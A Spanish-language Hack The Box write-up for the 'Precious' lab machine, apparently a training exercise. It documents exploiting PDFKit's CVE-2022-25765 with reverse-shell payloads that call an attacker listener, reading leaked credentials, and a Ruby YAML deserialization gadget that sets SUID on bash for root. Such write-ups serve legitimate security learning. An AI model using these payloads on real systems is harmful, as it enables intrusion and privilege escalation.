Precious

Hack The Box — Metodología Detallada

Precious

IP:10.129.228.98
OS:Linux
Dificultad:Easy
Fecha:24 Jul 2026

Reconocimiento

Escaneo inicial

Se realizó un escaneo completo de puertos para identificar todos los servicios expuestos en la máquina y determinar los posibles vectores de ataque disponibles.

        # Comando ejecutado
        sudo nmap -p- -sS --open --min-rate 5000 -vvv -n -Pn 10.129.26.35 -oG allPorts
        
        # Output
        PORT   STATE SERVICE REASON
        22/tcp open  ssh     syn-ack ttl 63
        80/tcp open  http    syn-ack ttl 63

Se identificaron dos puertos abiertos: el puerto 22 (SSH) y el puerto 80 (HTTP). Se procedió al escaneo de versiones para identificar los servicios exactos.

        PORT   STATE SERVICE VERSION
        22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
        | ssh-hostkey:
        |   3072 84:5e:13:a8:e3:1e:20:66:1d:23:55:50:f6:30:47:d2 (RSA)
        |   256 a2:ef:7b:96:65:ce:41:61:c4:67:ee:4e:96:c7:c8:92 (ECDSA)
        |_  256 33:05:3d:cd:7a:b7:98:45:82:39:e7:ae:3c:91:a6:58 (ED25519)
        80/tcp open  http    nginx 1.18.0
        |_http-title: Did not follow redirect to http://precious.htb/
        |_http-server-header: nginx/1.18.0
        Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Se observo que no brindo informacion a la hora de buscar la version del servicio del puerto 80 asi que se agrego la ip a /etc/hosts para que continuara a la redireccion.

        PORT   STATE SERVICE VERSION
        80/tcp open  http    nginx 1.18.0
        |_http-title: Convert Web Page to PDF
        | http-server-header:
        |   nginx/1.18.0
        |_  nginx/1.18.0 + Phusion Passenger(R) 6.0.15

Hallazgo: Aparte del nginx principalmente encontrado se identifico otro servicio llamado Phusion Passenger, se trata de un servidor web y de aplicaciones de codigo abierto, facilitando el despliegue de ellas en lenguaje de Ruby.

Página web principal

Fingerprinting de tecnologías

Hipótesis: Se realizo un WhatWeb para identificar mas tecnologias sobre la pagina, confirmar el stack y obtener versiones exactas para buscar CVEs.

        whatweb http://precious.htb
        http://precious.htb [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[nginx/1.18.0 +
        Phusion Passenger(R) 6.0.15], IP[10.129.32.203], Ruby-on-Rails, Title[Convert 
        Web Page to PDF], UncommonHeaders[x-content-type-options], X-Frame-Options
        [SAMEORIGIN], X-Powered-By[Phusion Passenger(R) 6.0.15], X-XSS-Protection[1; 
        mode=block], nginx[1.18.0]

Hallazgo: El servidor expone nginx/1.18.0 con Phusion Passenger 6.0.15 como application server, y el stack es Ruby on Rails. Las versiones exactas quedan visibles en los headers Server y X-Powered-By.

Hipótesis: Se realizo fingerprinting a nivel de header de respuesta HTTP para confirmar que lenguaje se ejecuta por detras de la pagina. Conocer el lenguaje subyacente permite enfocarse en la familia de vulnerabilidades correcta (deserializacion, SSTI, CVEs de librerias Ruby) en lugar de probar ciegamente.

Se redirigio el trafico por Burpsuite enviando una peticion POST a la funcionalidad principal y se analizo la respuesta del servidor:

        X-Runtime: Ruby

Este header solo aparece en la respuesta al POST, no en el GET inicial, por lo que whatweb no lo capturo. Confirma que Ruby procesa las peticiones del lado del servidor.

Identificación de la librería PDF

Hipótesis: Se coloco una URL apuntando a un servidor HTTP propio para que la aplicacion generara un PDF a partir de contenido controlado. El objetivo era analizar la metadata del PDF generado e identificar la libreria utilizada, ya que estas suelen dejar su nombre y version en los metadatos.

Se levanto el servidor:

        python3 -m http.server 9090
        Serving HTTP on 0.0.0.0 port 9090 (http://0.0.0.0:9090/) ...

Se coloco la URL propia en el formulario:

URL propia con servidor Python

Confirmacion de conexion entrante en el servidor Python y descarga del PDF:

        10.129.228.98 - - [23/Jul/2026 21:56:46] "GET / HTTP/1.1" 200 -
        
        ls
        total 20
        -rw-r--r-- 1 Avilx Avilx 17257 Jul 23 21:56 zkv4ci425wnee3u7geq8wod5yc6gpjew.pdf

Luego se analizo la metadata del PDF con exiftool:

        ExifTool Version Number         : 13.55
        File Name                       : zkv4ci425wnee3u7geq8wod5yc6gpjew.pdf
        Directory                       : .
        File Size                       : 17 kB
        File Modification Date/Time     : 2026:07:23 21:56:47+00:00
        File Access Date/Time           : 2026:07:23 21:56:47+00:00
        File Inode Change Date/Time     : 2026:07:23 22:03:30+00:00
        File Permissions                : -rw-r--r--
        File Type                       : PDF
        File Type Extension             : pdf
        MIME Type                       : application/pdf
        PDF Version                     : 1.4
        Linearized                      : No
        Page Count                      : 1
        Creator                         : Generated by pdfkit v0.8.6

Hallazgo: Se identifico que la aplicacion utiliza PDFKit 0.8.6 para la generacion de documentos PDF. Esta version es vulnerable al CVE-2022-25765, el cual permite a atacantes remotos ejecutar comandos arbitrarios sin autenticacion. La raiz del problema es una falta de sanitizacion en el parametro URL: PDFKit pasa la entrada directamente a wkhtmltopdf sin validacion, permitiendo inyeccion de comandos mediante expansion de shell con la sintaxis $() o comillas invertidas.

Explotación

Construcción del payload

Luego de identificar el CVE, se procedio a construir una URL maliciosa para obtener una reverse shell. Primero se levanto el listener:

        nc -lvnp 4444
        Listening on 0.0.0.0 4444

Primer intento — URL con payload bash encodeado:

        http:%2F%2F%24(sh%20-i%20%3E%26/dev/tcp/10.10.15.163/4444%200%3E%261)

URL maliciosa — primer intento

Respuesta del servidor: You should provide a valid URL!

Por que no funciono: El servidor valida que la URL comience con http:// en texto plano. Al encodear los primeros caracteres, la validacion falla antes de que el payload llegue a ser procesado. Se corrigio dejando el prefijo sin encodear:

URL maliciosa corregida

PDF descargado pero sin conexion al listener

El PDF se descargo pero el listener no recibio conexion. Se probo reemplazando sh por bash:

URL maliciosa con bash

Mismo resultado: PDF descargado, sin conexion. Se sospecho que el caracter & encodeado generaba conflictos, pero tampoco funciono la sintaxis alternativa sin &.

Payload correcto — Ruby socket

Se analizo el exploit publicado por UNICORDev en GitHub para el mismo CVE y se identifico el formato del payload real:

        payload = f"http://%20`ruby -rsocket -e'spawn(\"sh\",[:in,:out,:err]=>
        TCPSocket.new(\"{str(listenIP)}\",\"{str(listenPort)}\"))'`"

Por que los payloads anteriores fallaron: El servidor web ejecuta Ruby, no bash. Al intentar invocar bash o sh directamente mediante expansion de shell, el proceso no tenia disponibles los binarios en el contexto esperado. El payload correcto usa Ruby para abrir el socket directamente, ya que el entorno en el que se ejecuta el comando si tiene Ruby disponible. En retrospectiva esto es logico dado el stack, pero era informacion nueva en ese momento.

Se adapto el payload manualmente:

        http://%20`ruby -rsocket -e'spawn("sh",[:in,:out,:err]=>
        TCPSocket.new("10.10.15.163","4444"))'`

Payload correcto enviado

        nc -lvnp 4444
        Listening on 0.0.0.0 4444
        Connection received on 10.129.228.98 46962

Estabilización de la shell

        python3 -c 'import pty;pty.spawn("/bin/bash")'
        # Ctrl+Z
        stty raw -echo; fg
        export TERM=xterm

Confirmacion del usuario obtenido:

        whoami
        ruby
        id
        uid=1001(ruby) gid=1001(ruby) groups=1001(ruby)
        pwd
        /var/www/pdfapp

Escalada de Privilegios

Enumeración como ruby — credenciales en texto plano

Luego de estabilizar la sesion, se enumero el sistema de archivos en busca de credenciales o configuraciones sensibles.

Hallazgo: En /home/ruby/.bundle/config se encontraron credenciales en texto plano del usuario henry. Bundler, el gestor de dependencias de Ruby, almacena credenciales de RubyGems en este archivo sin cifrado, exponiendo usuario y contrasena a cualquier proceso con acceso al directorio home.

        cat /home/ruby/.bundle/config
        ---
        BUNDLE_HTTPS://RUBYGEMS__ORG/: "henry:Q3c1AqGHtoI0aXAYFH"

Con estas credenciales se realizo movimiento lateral al usuario henry:

        su henry
        Password: Q3c1AqGHtoI0aXAYFH

        cat /home/henry/user.txt
        7cf0bf8b6f**************e5826589

Enumeración como henry — sudo -l

Hallazgo: Al ejecutar sudo -l como henry, se identifico que puede ejecutar el script /opt/update_dependencies.rb con ruby como root sin necesidad de contrasena (NOPASSWD).

        henry@precious:/home/ruby/.bundle$ sudo -l
        Matching Defaults entries for henry on precious:
        env_reset, mail_badpass,
        secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
        User henry may run the following commands on precious:
        (root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rb

Se leyo el contenido del script para entender su funcionamiento:

        cat /opt/update_dependencies.rb
        
        require "yaml"
        require 'rubygems'
        def list_from_file
        YAML.load(File.read("dependencies.yml"))
        end
        ...

Hallazgo: El script usa YAML.load() para leer un archivo dependencies.yml sin ruta absoluta, lo que significa que lo busca en el directorio de trabajo actual. YAML.load() en Ruby es vulnerable a deserializacion insegura: permite instanciar objetos arbitrarios de Ruby al procesar el YAML, lo que puede derivar en ejecucion de comandos del sistema.

Explotación — YAML deserialization

Se creo el archivo /home/henry/dependencies.yml con un payload de deserializacion que abusa de la cadena de gadgets de Gem::Requirement para ejecutar chmod +s /bin/bash, configurando el bit SUID en bash:

        ---
        - !ruby/object:Gem::Installer
        i: x
        - !ruby/object:Gem::SpecFetcher
        i: x
        - !ruby/object:Gem::Requirement
        requirements:
        !ruby/object:Gem::Package::TarReader
        io: &1 !ruby/object:Net::BufferedIO
        io: &1 !ruby/object:Gem::Package::TarReader::Entry
        read: 0
        header: "abc"
        debug_output: &1 !ruby/object:Net::WriteAdapter
        socket: &1 !ruby/object:Gem::RequestSet
        sets: !ruby/object:Net::WriteAdapter
        socket: !ruby/resolve-constant
        ref: Kernel
        method_id: :system
        git_set: "chmod +s /bin/bash"
        method_id: :resolve

Se ejecuto el script con sudo desde el directorio de henry:

        sudo /usr/bin/ruby /opt/update_dependencies.rb
        sh: 1: reading: not found
        Traceback (most recent call last):
        ...
        /usr/lib/ruby/2.7.0/net/protocol.rb:458:in `system':
        no implicit conversion of nil into String (TypeError)

El error es esperado y forma parte del comportamiento normal del gadget. Lo relevante es que el comando chmod +s /bin/bash se ejecuto antes de que se produjera el error. Se verifico:

        ls -la /bin/bash
        -rwsr-sr-x 1 root root 1234376 Mar 27  2022 /bin/bash

El bit SUID fue configurado correctamente. Se obtuvo shell como root:

        /bin/bash -p
        bash-5.1# whoami
        root
        bash-5.1# cat /root/root.txt
        9bdcbed**************b3c9a310b70

Reflexión Final

Qué salió bien

Qué salió mal

Lecciones

Tiempo total

Aproximadamente 2 dias (sesiones distribuidas, incluyendo investigacion de CVEs y construccion manual de payloads).